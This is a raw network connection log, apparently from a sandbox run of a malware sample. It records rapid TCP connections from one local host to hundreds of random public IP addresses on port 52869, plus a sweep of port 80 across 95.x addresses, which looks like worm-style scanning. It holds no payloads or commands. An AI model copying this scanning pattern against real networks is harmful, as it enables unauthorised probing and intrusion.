Jul 20, 2024 23:00:57.818342924 CEST	52869	33453	206.92.95.39	192.168.2.23
Jul 20, 2024 23:00:57.818438053 CEST	52869	33453	179.73.171.183	192.168.2.23
Jul 20, 2024 23:00:57.818550110 CEST	52869	33453	151.122.222.112	192.168.2.23
Jul 20, 2024 23:00:57.818578959 CEST	52869	33453	142.124.92.14	192.168.2.23
Jul 20, 2024 23:00:57.818608999 CEST	52869	33453	177.177.31.201	192.168.2.23
Jul 20, 2024 23:00:57.818677902 CEST	52869	33453	106.29.164.249	192.168.2.23
Jul 20, 2024 23:00:57.818841934 CEST	52869	33453	8.171.77.26	192.168.2.23
Jul 20, 2024 23:00:57.818871021 CEST	52869	33453	70.22.179.1	192.168.2.23
Jul 20, 2024 23:00:57.819454908 CEST	52869	33453	59.16.156.146	192.168.2.23
Jul 20, 2024 23:00:57.819499969 CEST	52869	33453	112.88.35.127	192.168.2.23
Jul 20, 2024 23:00:57.819530964 CEST	52869	33453	43.166.133.52	192.168.2.23
Jul 20, 2024 23:00:57.819561005 CEST	52869	33453	187.64.100.243	192.168.2.23
Jul 20, 2024 23:00:57.819669962 CEST	52869	33453	72.161.89.115	192.168.2.23
Jul 20, 2024 23:00:57.819674015 CEST	33453	52869	192.168.2.23	53.45.53.100
Jul 20, 2024 23:00:57.819674015 CEST	33453	52869	192.168.2.23	197.214.242.90
Jul 20, 2024 23:00:57.819674015 CEST	33453	52869	192.168.2.23	4.233.83.37
Jul 20, 2024 23:00:57.819674015 CEST	33453	52869	192.168.2.23	37.91.205.118
Jul 20, 2024 23:00:57.819674015 CEST	33453	52869	192.168.2.23	138.190.143.152
Jul 20, 2024 23:00:57.819674015 CEST	33453	52869	192.168.2.23	138.169.193.70
Jul 20, 2024 23:00:57.819674015 CEST	33453	52869	192.168.2.23	122.85.212.25
Jul 20, 2024 23:00:57.819674015 CEST	33453	52869	192.168.2.23	190.207.52.97
Jul 20, 2024 23:00:57.819813967 CEST	52869	33453	185.119.137.142	192.168.2.23
Jul 20, 2024 23:00:57.819842100 CEST	52869	33453	115.27.89.50	192.168.2.23
Jul 20, 2024 23:00:57.819871902 CEST	52869	33453	72.181.34.159	192.168.2.23
Jul 20, 2024 23:00:57.819981098 CEST	52869	33453	166.238.42.96	192.168.2.23
Jul 20, 2024 23:00:57.820013046 CEST	52869	33453	143.112.1.166	192.168.2.23
Jul 20, 2024 23:00:57.820111036 CEST	52869	33453	209.153.177.252	192.168.2.23
Jul 20, 2024 23:00:57.820139885 CEST	52869	33453	40.246.182.160	192.168.2.23
Jul 20, 2024 23:00:57.820182085 CEST	33453	52869	192.168.2.23	154.190.154.111
Jul 20, 2024 23:00:57.820182085 CEST	33453	52869	192.168.2.23	182.172.49.20
Jul 20, 2024 23:00:57.820182085 CEST	33453	52869	192.168.2.23	169.150.233.153
Jul 20, 2024 23:00:57.820182085 CEST	33453	52869	192.168.2.23	205.163.186.184
Jul 20, 2024 23:00:57.820182085 CEST	33453	52869	192.168.2.23	180.174.13.101
Jul 20, 2024 23:00:57.820182085 CEST	33453	52869	192.168.2.23	34.52.30.101
Jul 20, 2024 23:00:57.820182085 CEST	33453	52869	192.168.2.23	152.96.247.192
Jul 20, 2024 23:00:57.820182085 CEST	33453	52869	192.168.2.23	79.155.217.219
Jul 20, 2024 23:00:57.820274115 CEST	52869	33453	40.30.160.17	192.168.2.23
Jul 20, 2024 23:00:57.821013927 CEST	52869	33453	99.146.56.46	192.168.2.23
Jul 20, 2024 23:00:57.821054935 CEST	52869	33453	167.189.254.135	192.168.2.23
Jul 20, 2024 23:00:57.821129084 CEST	52869	33453	95.184.11.147	192.168.2.23
Jul 20, 2024 23:00:57.821161032 CEST	52869	33453	188.20.88.173	192.168.2.23
Jul 20, 2024 23:00:57.821191072 CEST	52869	33453	112.23.79.234	192.168.2.23
Jul 20, 2024 23:00:57.821212053 CEST	33453	52869	192.168.2.23	177.25.150.3
Jul 20, 2024 23:00:57.821212053 CEST	33453	52869	192.168.2.23	185.170.170.156
Jul 20, 2024 23:00:57.821212053 CEST	33453	52869	192.168.2.23	192.111.133.73
Jul 20, 2024 23:00:57.821212053 CEST	33453	52869	192.168.2.23	45.114.213.80
Jul 20, 2024 23:00:57.821212053 CEST	33453	52869	192.168.2.23	77.102.17.18
Jul 20, 2024 23:00:57.821212053 CEST	33453	52869	192.168.2.23	203.110.188.23
Jul 20, 2024 23:00:57.821212053 CEST	33453	52869	192.168.2.23	212.195.11.17
Jul 20, 2024 23:00:57.821212053 CEST	33453	52869	192.168.2.23	65.203.183.70
Jul 20, 2024 23:00:57.821224928 CEST	52869	33453	198.92.84.205	192.168.2.23
Jul 20, 2024 23:00:57.821280003 CEST	52869	33453	134.127.227.30	192.168.2.23
Jul 20, 2024 23:00:57.821312904 CEST	52869	33453	76.54.150.143	192.168.2.23
Jul 20, 2024 23:00:57.821341991 CEST	52869	33453	181.115.180.116	192.168.2.23
Jul 20, 2024 23:00:57.821369886 CEST	52869	33453	175.144.61.205	192.168.2.23
Jul 20, 2024 23:00:57.821399927 CEST	52869	33453	189.95.35.241	192.168.2.23
Jul 20, 2024 23:00:57.821593046 CEST	52869	33453	202.178.93.78	192.168.2.23
Jul 20, 2024 23:00:57.821623087 CEST	52869	33453	172.205.66.30	192.168.2.23
Jul 20, 2024 23:00:57.821751118 CEST	52869	33453	133.95.133.201	192.168.2.23
Jul 20, 2024 23:00:57.821883917 CEST	52869	33453	188.47.165.93	192.168.2.23
Jul 20, 2024 23:00:57.821913958 CEST	52869	33453	115.224.99.200	192.168.2.23
Jul 20, 2024 23:00:57.821918964 CEST	33453	52869	192.168.2.23	44.27.103.182
Jul 20, 2024 23:00:57.821918964 CEST	33453	52869	192.168.2.23	161.207.161.49
Jul 20, 2024 23:00:57.821918964 CEST	33453	52869	192.168.2.23	156.161.237.1
Jul 20, 2024 23:00:57.821918964 CEST	33453	52869	192.168.2.23	213.65.95.199
Jul 20, 2024 23:00:57.821918964 CEST	33453	52869	192.168.2.23	52.159.231.182
Jul 20, 2024 23:00:57.821918964 CEST	33453	52869	192.168.2.23	137.166.89.163
Jul 20, 2024 23:00:57.821918964 CEST	33453	52869	192.168.2.23	220.215.118.148
Jul 20, 2024 23:00:57.821918964 CEST	33453	52869	192.168.2.23	63.12.183.247
Jul 20, 2024 23:00:57.821965933 CEST	52869	33453	98.101.56.137	192.168.2.23
Jul 20, 2024 23:00:57.822032928 CEST	52869	33453	172.58.41.17	192.168.2.23
Jul 20, 2024 23:00:57.822063923 CEST	52869	33453	170.232.41.188	192.168.2.23
Jul 20, 2024 23:00:57.822082043 CEST	33453	52869	192.168.2.23	176.86.113.136
Jul 20, 2024 23:00:57.822082043 CEST	33453	52869	192.168.2.23	191.76.36.19
Jul 20, 2024 23:00:57.822082996 CEST	33453	52869	192.168.2.23	172.115.68.29
Jul 20, 2024 23:00:57.822082996 CEST	33453	52869	192.168.2.23	193.59.15.18
Jul 20, 2024 23:00:57.822082996 CEST	33453	52869	192.168.2.23	175.228.196.111
Jul 20, 2024 23:00:57.822082996 CEST	33453	52869	192.168.2.23	209.174.192.179
Jul 20, 2024 23:00:57.822082996 CEST	33453	52869	192.168.2.23	153.120.36.218
Jul 20, 2024 23:00:57.822082996 CEST	33453	52869	192.168.2.23	44.66.168.11
Jul 20, 2024 23:00:57.822166920 CEST	52869	33453	196.21.67.141	192.168.2.23
Jul 20, 2024 23:00:57.822303057 CEST	52869	33453	40.254.108.122	192.168.2.23
Jul 20, 2024 23:00:57.822334051 CEST	52869	33453	152.46.116.100	192.168.2.23
Jul 20, 2024 23:00:57.822365046 CEST	52869	33453	141.77.206.43	192.168.2.23
Jul 20, 2024 23:00:57.822469950 CEST	52869	33453	151.234.1.185	192.168.2.23
Jul 20, 2024 23:00:57.822503090 CEST	52869	33453	68.34.7.127	192.168.2.23
Jul 20, 2024 23:00:57.822619915 CEST	52869	33453	199.98.0.105	192.168.2.23
Jul 20, 2024 23:00:57.822829962 CEST	33453	52869	192.168.2.23	158.98.42.152
Jul 20, 2024 23:00:57.822829962 CEST	33453	52869	192.168.2.23	47.29.48.104
Jul 20, 2024 23:00:57.822829962 CEST	33453	52869	192.168.2.23	39.76.213.170
Jul 20, 2024 23:00:57.822829962 CEST	33453	52869	192.168.2.23	177.124.212.177
Jul 20, 2024 23:00:57.822829962 CEST	33453	52869	192.168.2.23	131.188.191.206
Jul 20, 2024 23:00:57.822829962 CEST	33453	52869	192.168.2.23	83.29.55.149
Jul 20, 2024 23:00:57.822829962 CEST	33453	52869	192.168.2.23	62.104.196.17
Jul 20, 2024 23:00:57.822829962 CEST	33453	52869	192.168.2.23	47.24.197.146
Jul 20, 2024 23:00:57.822892904 CEST	33453	52869	192.168.2.23	110.229.22.178
Jul 20, 2024 23:00:57.822892904 CEST	33453	52869	192.168.2.23	174.150.160.44
Jul 20, 2024 23:00:57.822892904 CEST	33453	52869	192.168.2.23	43.141.96.229
Jul 20, 2024 23:00:57.822892904 CEST	33453	52869	192.168.2.23	45.112.35.59
Jul 20, 2024 23:00:57.822892904 CEST	33453	52869	192.168.2.23	8.48.56.241
Jul 20, 2024 23:00:57.822892904 CEST	33453	52869	192.168.2.23	212.84.124.92
Jul 20, 2024 23:00:57.822892904 CEST	33453	52869	192.168.2.23	1.136.253.130
Jul 20, 2024 23:00:57.822892904 CEST	33453	52869	192.168.2.23	46.114.209.73
Jul 20, 2024 23:00:57.823359966 CEST	52869	33453	152.26.169.58	192.168.2.23
Jul 20, 2024 23:00:57.823491096 CEST	33453	52869	192.168.2.23	40.214.234.197
Jul 20, 2024 23:00:57.823491096 CEST	33453	52869	192.168.2.23	181.131.116.195
Jul 20, 2024 23:00:57.823491096 CEST	33453	52869	192.168.2.23	97.64.214.88
Jul 20, 2024 23:00:57.823491096 CEST	33453	52869	192.168.2.23	76.27.59.12
Jul 20, 2024 23:00:57.823491096 CEST	33453	52869	192.168.2.23	151.150.157.129
Jul 20, 2024 23:00:57.823491096 CEST	33453	52869	192.168.2.23	76.194.180.91
Jul 20, 2024 23:00:57.823491096 CEST	33453	52869	192.168.2.23	80.40.88.69
Jul 20, 2024 23:00:57.823491096 CEST	33453	52869	192.168.2.23	206.161.223.46
Jul 20, 2024 23:00:57.823729038 CEST	52869	33453	99.5.177.148	192.168.2.23
Jul 20, 2024 23:00:57.823774099 CEST	52869	33453	2.253.42.179	192.168.2.23
Jul 20, 2024 23:00:57.823832989 CEST	52869	33453	102.97.196.15	192.168.2.23
Jul 20, 2024 23:00:57.823889971 CEST	52869	33453	144.227.82.243	192.168.2.23
Jul 20, 2024 23:00:57.823945045 CEST	52869	33453	104.105.206.111	192.168.2.23
Jul 20, 2024 23:00:57.823981047 CEST	52869	33453	189.139.65.29	192.168.2.23
Jul 20, 2024 23:00:57.824009895 CEST	52869	33453	223.208.52.103	192.168.2.23
Jul 20, 2024 23:00:57.824039936 CEST	52869	33453	178.230.12.0	192.168.2.23
Jul 20, 2024 23:00:57.824109077 CEST	52869	33453	98.153.193.121	192.168.2.23
Jul 20, 2024 23:00:57.824139118 CEST	52869	33453	201.203.36.240	192.168.2.23
Jul 20, 2024 23:00:57.824168921 CEST	52869	33453	73.168.246.242	192.168.2.23
Jul 20, 2024 23:00:57.824197054 CEST	52869	33453	155.180.63.33	192.168.2.23
Jul 20, 2024 23:00:57.824206114 CEST	33453	52869	192.168.2.23	148.140.218.103
Jul 20, 2024 23:00:57.824206114 CEST	33453	52869	192.168.2.23	194.6.197.149
Jul 20, 2024 23:00:57.824206114 CEST	33453	52869	192.168.2.23	36.55.234.144
Jul 20, 2024 23:00:57.824207067 CEST	33453	52869	192.168.2.23	189.130.12.191
Jul 20, 2024 23:00:57.824207067 CEST	33453	52869	192.168.2.23	52.180.202.38
Jul 20, 2024 23:00:57.824207067 CEST	33453	52869	192.168.2.23	114.83.107.94
Jul 20, 2024 23:00:57.824207067 CEST	33453	52869	192.168.2.23	136.238.176.112
Jul 20, 2024 23:00:57.824207067 CEST	33453	52869	192.168.2.23	187.177.85.110
Jul 20, 2024 23:00:57.824242115 CEST	52869	33453	137.27.10.235	192.168.2.23
Jul 20, 2024 23:00:57.824285984 CEST	52869	33453	107.193.42.157	192.168.2.23
Jul 20, 2024 23:00:57.824322939 CEST	52869	33453	181.153.218.109	192.168.2.23
Jul 20, 2024 23:00:57.824357986 CEST	52869	33453	82.147.74.139	192.168.2.23
Jul 20, 2024 23:00:57.824441910 CEST	52869	33453	140.98.148.212	192.168.2.23
Jul 20, 2024 23:00:57.824584007 CEST	52869	33453	38.229.47.143	192.168.2.23
Jul 20, 2024 23:00:57.824717999 CEST	52869	33453	173.11.106.195	192.168.2.23
Jul 20, 2024 23:00:57.824747086 CEST	52869	33453	218.37.202.192	192.168.2.23
Jul 20, 2024 23:00:57.824775934 CEST	52869	33453	20.66.30.68	192.168.2.23
Jul 20, 2024 23:00:57.824804068 CEST	52869	33453	152.189.245.127	192.168.2.23
Jul 20, 2024 23:00:57.824872971 CEST	52869	33453	86.201.164.86	192.168.2.23
Jul 20, 2024 23:00:57.824902058 CEST	52869	33453	170.165.247.69	192.168.2.23
Jul 20, 2024 23:00:57.825031996 CEST	52869	33453	148.184.67.225	192.168.2.23
Jul 20, 2024 23:00:57.825222015 CEST	33453	52869	192.168.2.23	146.189.254.58
Jul 20, 2024 23:00:57.825222015 CEST	33453	52869	192.168.2.23	199.168.86.184
Jul 20, 2024 23:00:57.825222015 CEST	33453	52869	192.168.2.23	168.125.185.20
Jul 20, 2024 23:00:57.825222015 CEST	33453	52869	192.168.2.23	222.206.127.110
Jul 20, 2024 23:00:57.825222015 CEST	33453	52869	192.168.2.23	52.120.24.214
Jul 20, 2024 23:00:57.825222015 CEST	33453	52869	192.168.2.23	70.26.225.4
Jul 20, 2024 23:00:57.825222015 CEST	33453	52869	192.168.2.23	91.44.139.118
Jul 20, 2024 23:00:57.825222969 CEST	33453	52869	192.168.2.23	71.178.75.6
Jul 20, 2024 23:00:57.825504065 CEST	52869	33453	5.1.200.78	192.168.2.23
Jul 20, 2024 23:00:57.825570107 CEST	47596	8081	192.168.2.23	198.50.246.46
Jul 20, 2024 23:00:57.825570107 CEST	33453	52869	192.168.2.23	86.47.78.100
Jul 20, 2024 23:00:57.825570107 CEST	33453	52869	192.168.2.23	220.67.103.53
Jul 20, 2024 23:00:57.825570107 CEST	33453	52869	192.168.2.23	172.254.31.129
Jul 20, 2024 23:00:57.825570107 CEST	33453	52869	192.168.2.23	88.237.142.195
Jul 20, 2024 23:00:57.825570107 CEST	33453	52869	192.168.2.23	151.208.66.135
Jul 20, 2024 23:00:57.825570107 CEST	33453	52869	192.168.2.23	205.3.223.82
Jul 20, 2024 23:00:57.825570107 CEST	33453	52869	192.168.2.23	27.90.186.232
Jul 20, 2024 23:00:57.825629950 CEST	52869	33453	94.202.163.16	192.168.2.23
Jul 20, 2024 23:00:57.825659037 CEST	52869	33453	97.206.15.50	192.168.2.23
Jul 20, 2024 23:00:57.825687885 CEST	52869	33453	217.145.79.154	192.168.2.23
Jul 20, 2024 23:00:57.825812101 CEST	33453	52869	192.168.2.23	71.221.178.128
Jul 20, 2024 23:00:57.825812101 CEST	33453	52869	192.168.2.23	156.94.252.22
Jul 20, 2024 23:00:57.825812101 CEST	33453	52869	192.168.2.23	98.19.47.4
Jul 20, 2024 23:00:57.825812101 CEST	33453	52869	192.168.2.23	155.110.191.61
Jul 20, 2024 23:00:57.825812101 CEST	33453	52869	192.168.2.23	110.61.77.157
Jul 20, 2024 23:00:57.825812101 CEST	33453	52869	192.168.2.23	146.115.170.218
Jul 20, 2024 23:00:57.825812101 CEST	33453	52869	192.168.2.23	148.117.245.110
Jul 20, 2024 23:00:57.825812101 CEST	33453	52869	192.168.2.23	194.27.223.120
Jul 20, 2024 23:00:57.826092005 CEST	52869	33453	183.157.55.69	192.168.2.23
Jul 20, 2024 23:00:57.826122046 CEST	52869	33453	94.203.68.149	192.168.2.23
Jul 20, 2024 23:00:57.826152086 CEST	52869	33453	164.235.90.25	192.168.2.23
Jul 20, 2024 23:00:57.826183081 CEST	52869	33453	89.230.81.249	192.168.2.23
Jul 20, 2024 23:00:57.826225996 CEST	52869	33453	203.80.152.125	192.168.2.23
Jul 20, 2024 23:00:57.826277018 CEST	52869	33453	157.145.185.191	192.168.2.23
Jul 20, 2024 23:00:57.826307058 CEST	52869	33453	51.174.229.45	192.168.2.23
Jul 20, 2024 23:00:57.826335907 CEST	52869	33453	52.220.87.42	192.168.2.23
Jul 20, 2024 23:00:57.826371908 CEST	52869	33453	178.32.92.132	192.168.2.23
Jul 20, 2024 23:00:57.826697111 CEST	52869	33453	195.218.43.41	192.168.2.23
Jul 20, 2024 23:00:57.826927900 CEST	52869	33453	154.190.154.111	192.168.2.23
Jul 20, 2024 23:00:57.826987028 CEST	52869	33453	134.51.159.182	192.168.2.23
Jul 20, 2024 23:00:57.826994896 CEST	33453	52869	192.168.2.23	183.32.140.127
Jul 20, 2024 23:00:57.826994896 CEST	33453	52869	192.168.2.23	126.235.98.167
Jul 20, 2024 23:00:57.826994896 CEST	33453	52869	192.168.2.23	164.119.209.178
Jul 20, 2024 23:00:57.826994896 CEST	33453	52869	192.168.2.23	92.198.15.133
Jul 20, 2024 23:00:57.826994896 CEST	33453	52869	192.168.2.23	223.129.233.204
Jul 20, 2024 23:00:57.826994896 CEST	33453	52869	192.168.2.23	172.10.232.56
Jul 20, 2024 23:00:57.826994896 CEST	33453	52869	192.168.2.23	182.239.43.117
Jul 20, 2024 23:00:57.826994896 CEST	33453	52869	192.168.2.23	188.225.108.211
Jul 20, 2024 23:00:57.827017069 CEST	52869	33453	111.187.155.34	192.168.2.23
Jul 20, 2024 23:00:57.827043056 CEST	33453	52869	192.168.2.23	187.18.104.68
Jul 20, 2024 23:00:57.827043056 CEST	33453	52869	192.168.2.23	74.129.145.150
Jul 20, 2024 23:00:57.827043056 CEST	33453	52869	192.168.2.23	197.240.19.68
Jul 20, 2024 23:00:57.827043056 CEST	33453	52869	192.168.2.23	60.114.246.170
Jul 20, 2024 23:00:57.827043056 CEST	33453	52869	192.168.2.23	113.194.203.134
Jul 20, 2024 23:00:57.827043056 CEST	33453	52869	192.168.2.23	66.60.254.197
Jul 20, 2024 23:00:57.827043056 CEST	33453	52869	192.168.2.23	123.106.189.191
Jul 20, 2024 23:00:57.827043056 CEST	33453	52869	192.168.2.23	107.53.30.32
Jul 20, 2024 23:00:57.827044964 CEST	52869	33453	142.160.229.167	192.168.2.23
Jul 20, 2024 23:00:57.827075958 CEST	52869	33453	182.172.49.20	192.168.2.23
Jul 20, 2024 23:00:57.827105999 CEST	52869	33453	177.25.150.3	192.168.2.23
Jul 20, 2024 23:00:57.827133894 CEST	52869	33453	151.186.190.124	192.168.2.23
Jul 20, 2024 23:00:57.827162027 CEST	52869	33453	185.170.170.156	192.168.2.23
Jul 20, 2024 23:00:57.827191114 CEST	52869	33453	217.110.135.236	192.168.2.23
Jul 20, 2024 23:00:57.827219963 CEST	52869	33453	133.63.115.113	192.168.2.23
Jul 20, 2024 23:00:57.827271938 CEST	52869	33453	90.194.241.10	192.168.2.23
Jul 20, 2024 23:00:57.827302933 CEST	52869	33453	192.111.133.73	192.168.2.23
Jul 20, 2024 23:00:57.827332973 CEST	52869	33453	209.80.78.29	192.168.2.23
Jul 20, 2024 23:00:57.827361107 CEST	52869	33453	45.114.213.80	192.168.2.23
Jul 20, 2024 23:00:57.827394009 CEST	52869	33453	221.88.219.106	192.168.2.23
Jul 20, 2024 23:00:57.827497005 CEST	52869	33453	2.60.225.73	192.168.2.23
Jul 20, 2024 23:00:57.827629089 CEST	52869	33453	84.72.175.67	192.168.2.23
Jul 20, 2024 23:00:57.827640057 CEST	33453	52869	192.168.2.23	120.58.213.248
Jul 20, 2024 23:00:57.827640057 CEST	33453	52869	192.168.2.23	107.139.210.240
Jul 20, 2024 23:00:57.827640057 CEST	33453	52869	192.168.2.23	149.224.55.185
Jul 20, 2024 23:00:57.827662945 CEST	52869	33453	72.75.90.157	192.168.2.23
Jul 20, 2024 23:00:57.827817917 CEST	52869	33453	44.27.103.182	192.168.2.23
Jul 20, 2024 23:00:57.827846050 CEST	52869	33453	158.98.42.152	192.168.2.23
Jul 20, 2024 23:00:57.827946901 CEST	36013	80	192.168.2.23	95.65.53.181
Jul 20, 2024 23:00:57.828011990 CEST	52869	33453	77.102.17.18	192.168.2.23
Jul 20, 2024 23:00:57.828067064 CEST	36013	80	192.168.2.23	95.2.212.137
Jul 20, 2024 23:00:57.828196049 CEST	36013	80	192.168.2.23	95.247.205.18
Jul 20, 2024 23:00:57.828196049 CEST	36013	80	192.168.2.23	95.191.65.210
Jul 20, 2024 23:00:57.828442097 CEST	36013	80	192.168.2.23	95.60.51.67
Jul 20, 2024 23:00:57.828442097 CEST	36013	80	192.168.2.23	95.186.203.212
Jul 20, 2024 23:00:57.828519106 CEST	36013	80	192.168.2.23	95.87.70.25
Jul 20, 2024 23:00:57.828519106 CEST	36013	80	192.168.2.23	95.199.108.166
Jul 20, 2024 23:00:57.828519106 CEST	36013	80	192.168.2.23	95.77.163.115
Jul 20, 2024 23:00:57.828519106 CEST	36013	80	192.168.2.23	95.119.119.53
Jul 20, 2024 23:00:57.828609943 CEST	36013	80	192.168.2.23	95.36.82.73
Jul 20, 2024 23:00:57.828609943 CEST	36013	80	192.168.2.23	95.29.14.111
Jul 20, 2024 23:00:57.828609943 CEST	36013	80	192.168.2.23	95.83.199.37
Jul 20, 2024 23:00:57.828783989 CEST	52869	33453	47.29.48.104	192.168.2.23
Jul 20, 2024 23:00:57.829122066 CEST	36013	80	192.168.2.23	95.19.94.171
Jul 20, 2024 23:00:57.829122066 CEST	36013	80	192.168.2.23	95.75.206.109
Jul 20, 2024 23:00:57.829122066 CEST	36013	80	192.168.2.23	95.159.154.72
Jul 20, 2024 23:00:57.829122066 CEST	36013	80	192.168.2.23	95.223.155.253
Jul 20, 2024 23:00:57.829122066 CEST	36013	80	192.168.2.23	95.141.246.34
Jul 20, 2024 23:00:57.829313040 CEST	36013	80	192.168.2.23	95.63.144.57
Jul 20, 2024 23:00:57.829313040 CEST	36013	80	192.168.2.23	95.132.68.188
Jul 20, 2024 23:00:57.829313040 CEST	36013	80	192.168.2.23	95.34.132.196
Jul 20, 2024 23:00:57.829313040 CEST	36013	80	192.168.2.23	95.20.245.92
Jul 20, 2024 23:00:57.829607010 CEST	52869	33453	39.76.213.170	192.168.2.23
Jul 20, 2024 23:00:57.829925060 CEST	36013	80	192.168.2.23	95.111.9.141
Jul 20, 2024 23:00:57.829925060 CEST	36013	80	192.168.2.23	95.90.8.227
Jul 20, 2024 23:00:57.829925060 CEST	36013	80	192.168.2.23	95.47.49.37
Jul 20, 2024 23:00:57.829925060 CEST	36013	80	192.168.2.23	95.27.136.95
Jul 20, 2024 23:00:57.829925060 CEST	36013	80	192.168.2.23	95.16.252.201
Jul 20, 2024 23:00:57.829996109 CEST	52869	33453	110.229.22.178	192.168.2.23
Jul 20, 2024 23:00:57.830039024 CEST	52869	33453	203.110.188.23	192.168.2.23
Jul 20, 2024 23:00:57.830070019 CEST	52869	33453	161.207.161.49	192.168.2.23
Jul 20, 2024 23:00:57.830104113 CEST	36013	80	192.168.2.23	95.69.1.49
Jul 20, 2024 23:00:57.830104113 CEST	36013	80	192.168.2.23	95.217.183.227
Jul 20, 2024 23:00:57.830104113 CEST	36013	80	192.168.2.23	95.212.185.109
Jul 20, 2024 23:00:57.830104113 CEST	36013	80	192.168.2.23	95.248.74.27
Jul 20, 2024 23:00:57.830104113 CEST	36013	80	192.168.2.23	95.107.6.30
Jul 20, 2024 23:00:57.830104113 CEST	36013	80	192.168.2.23	95.74.78.222
Jul 20, 2024 23:00:57.830127954 CEST	52869	33453	212.195.11.17	192.168.2.23
Jul 20, 2024 23:00:57.830157995 CEST	52869	33453	177.124.212.177	192.168.2.23
Jul 20, 2024 23:00:57.830188036 CEST	52869	33453	65.203.183.70	192.168.2.23
Jul 20, 2024 23:00:57.830796003 CEST	52869	33453	148.140.218.103	192.168.2.23
Jul 20, 2024 23:00:57.830837965 CEST	52869	33453	131.188.191.206	192.168.2.23
Jul 20, 2024 23:00:57.830868006 CEST	52869	33453	156.161.237.1	192.168.2.23
Jul 20, 2024 23:00:57.830898046 CEST	52869	33453	83.29.55.149	192.168.2.23
Jul 20, 2024 23:00:57.830928087 CEST	52869	33453	194.6.197.149	192.168.2.23
Jul 20, 2024 23:00:57.830956936 CEST	52869	33453	213.65.95.199	192.168.2.23
Jul 20, 2024 23:00:57.830986977 CEST	52869	33453	36.55.234.144	192.168.2.23
Jul 20, 2024 23:00:57.831044912 CEST	52869	33453	62.104.196.17	192.168.2.23
Jul 20, 2024 23:00:57.831074953 CEST	52869	33453	174.150.160.44	192.168.2.23
Jul 20, 2024 23:00:57.831104040 CEST	52869	33453	47.24.197.146	192.168.2.23
Jul 20, 2024 23:00:57.831131935 CEST	52869	33453	43.141.96.229	192.168.2.23
Jul 20, 2024 23:00:57.831408024 CEST	36013	80	192.168.2.23	95.16.233.29
Jul 20, 2024 23:00:57.831408024 CEST	36013	80	192.168.2.23	95.102.82.117
Jul 20, 2024 23:00:57.831408024 CEST	36013	80	192.168.2.23	95.170.196.15
Jul 20, 2024 23:00:57.831408024 CEST	36013	80	192.168.2.23	95.43.93.252
Jul 20, 2024 23:00:57.831408024 CEST	36013	80	192.168.2.23	95.204.198.68
Jul 20, 2024 23:00:57.831408978 CEST	36013	80	192.168.2.23	95.224.122.49
Jul 20, 2024 23:00:57.831418037 CEST	52869	33453	45.112.35.59	192.168.2.23
Jul 20, 2024 23:00:57.831449032 CEST	52869	33453	52.159.231.182	192.168.2.23
Jul 20, 2024 23:00:57.831482887 CEST	52869	33453	8.48.56.241	192.168.2.23
Jul 20, 2024 23:00:57.831511974 CEST	52869	33453	212.84.124.92	192.168.2.23
Jul 20, 2024 23:00:57.831655979 CEST	36013	80	192.168.2.23	95.81.115.211
Jul 20, 2024 23:00:57.831655979 CEST	36013	80	192.168.2.23	95.106.65.7
Jul 20, 2024 23:00:57.831655979 CEST	36013	80	192.168.2.23	95.184.188.30
Jul 20, 2024 23:00:57.831655979 CEST	36013	80	192.168.2.23	95.217.227.150
Jul 20, 2024 23:00:57.831655979 CEST	36013	80	192.168.2.23	95.129.39.24
Jul 20, 2024 23:00:57.831655979 CEST	36013	80	192.168.2.23	95.73.162.66
Jul 20, 2024 23:00:57.831655979 CEST	36013	80	192.168.2.23	95.78.253.213
Jul 20, 2024 23:00:57.831656933 CEST	36013	80	192.168.2.23	95.186.21.70
Jul 20, 2024 23:00:57.832025051 CEST	52869	33453	137.166.89.163	192.168.2.23
Jul 20, 2024 23:00:57.832045078 CEST	52869	33453	220.215.118.148	192.168.2.23
Jul 20, 2024 23:00:57.832196951 CEST	36013	80	192.168.2.23	95.157.203.128
Jul 20, 2024 23:00:57.832196951 CEST	36013	80	192.168.2.23	95.50.34.145
Jul 20, 2024 23:00:57.832196951 CEST	36013	80	192.168.2.23	95.58.105.201
Jul 20, 2024 23:00:57.832196951 CEST	36013	80	192.168.2.23	95.13.168.179
Jul 20, 2024 23:00:57.832391024 CEST	52869	33453	1.136.253.130	192.168.2.23
Jul 20, 2024 23:00:57.832511902 CEST	52869	33453	63.12.183.247	192.168.2.23
Jul 20, 2024 23:00:57.832545042 CEST	52869	33453	46.114.209.73	192.168.2.23
Jul 20, 2024 23:00:57.832580090 CEST	52869	33453	183.32.140.127	192.168.2.23
Jul 20, 2024 23:00:57.832634926 CEST	52869	33453	187.18.104.68	192.168.2.23
Jul 20, 2024 23:00:57.832863092 CEST	52869	33453	126.235.98.167	192.168.2.23
Jul 20, 2024 23:00:57.833262920 CEST	52869	33453	164.119.209.178	192.168.2.23
Jul 20, 2024 23:00:57.833312035 CEST	33453	52869	192.168.2.23	116.37.159.31
Jul 20, 2024 23:00:57.833312035 CEST	33453	52869	192.168.2.23	62.196.158.217
Jul 20, 2024 23:00:57.833312035 CEST	33453	52869	192.168.2.23	168.13.9.61
Jul 20, 2024 23:00:57.833312035 CEST	33453	52869	192.168.2.23	42.73.135.174
Jul 20, 2024 23:00:57.833312035 CEST	33453	52869	192.168.2.23	131.83.3.68
Jul 20, 2024 23:00:57.833312035 CEST	33453	52869	192.168.2.23	206.15.230.117
Jul 20, 2024 23:00:57.833312035 CEST	33453	52869	192.168.2.23	59.240.98.174
Jul 20, 2024 23:00:57.833312035 CEST	33453	52869	192.168.2.23	105.110.141.140
Jul 20, 2024 23:00:57.833331108 CEST	80	36013	95.65.53.181	192.168.2.23
Jul 20, 2024 23:00:57.833369017 CEST	33453	52869	192.168.2.23	151.138.63.80
Jul 20, 2024 23:00:57.833369017 CEST	33453	52869	192.168.2.23	113.107.255.30
Jul 20, 2024 23:00:57.833369017 CEST	33453	52869	192.168.2.23	72.249.73.229
Jul 20, 2024 23:00:57.833369017 CEST	33453	52869	192.168.2.23	141.113.133.124
Jul 20, 2024 23:00:57.833369017 CEST	33453	52869	192.168.2.23	52.149.31.113
Jul 20, 2024 23:00:57.833369017 CEST	33453	52869	192.168.2.23	132.94.197.99
Jul 20, 2024 23:00:57.833369017 CEST	33453	52869	192.168.2.23	139.152.181.250
Jul 20, 2024 23:00:57.833369017 CEST	33453	52869	192.168.2.23	190.24.73.9
Jul 20, 2024 23:00:57.833394051 CEST	36013	80	192.168.2.23	95.65.53.181
Jul 20, 2024 23:00:57.833499908 CEST	33453	52869	192.168.2.23	89.47.234.242
Jul 20, 2024 23:00:57.833499908 CEST	33453	52869	192.168.2.23	82.37.244.9
Jul 20, 2024 23:00:57.833499908 CEST	33453	52869	192.168.2.23	213.226.100.36
